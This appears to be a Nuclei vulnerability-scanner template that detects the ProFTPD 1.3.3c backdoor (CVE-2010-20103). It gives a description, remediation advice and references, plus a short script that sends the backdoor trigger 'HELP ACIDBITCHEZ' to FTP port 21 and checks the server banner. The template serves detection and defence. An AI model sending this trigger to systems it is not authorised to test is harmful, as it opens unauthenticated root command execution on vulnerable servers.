id: CVE-2010-20103 info: name: ProFTPd-1.3.3c - Backdoor Command Execution author: pussycat0x severity: critical description: | ProFTPD 1.3.3c contains a command injection backdoor caused by a hidden FTP command trigger in the source tarball, letting remote unauthenticated attackers execute arbitrary shell commands with root privileges. impact: | Unauthenticated attackers can execute arbitrary shell commands with root privileges by sending specially crafted HELP commands that trigger the hidden backdoor in the compromised source tarball. remediation: | Update to a version later than 1.3.3c or the latest available version. reference: - https://github.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script/blob/main/README.md - https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor/ - https://www.exploit-db.com/exploits/15662 metadata: max-request: 1 shodan-query: product:\"ProFTPD\" tags: cve,cve2010,js,network,proftpd,ftp,backdoor,vkev,passive,vuln javascript: - pre-condition: | isPortOpen(Host,Port); code: | const data = "HELP ACIDBITCHEZ\r\n"; const c = require("nuclei/net"); let conn = c.Open('tcp', `${Host}:${Port}`); conn.Send(data); let resp = conn.RecvString(); Export(resp); args: Host: "{{Host}}" Port: 21 matchers-condition: and matchers: - type: dsl dsl: - "success == true" - "contains(response, '220 ProFTPD 1.3.3c')" condition: and - type: word words: - "contains(response, '502 Unknown command')" negative: true # digest: 4a0a0047304502200b6d58fdf3ef7a36e45b03ad3274878948279fd0cd22f22ecb6c11f2b7247da1022100fdd8adc4ff9c4b472791e1c5a7e4d1fde068559d9093576a5cf7269e59ba781b:922c64590222798bb761d5b6d8e72950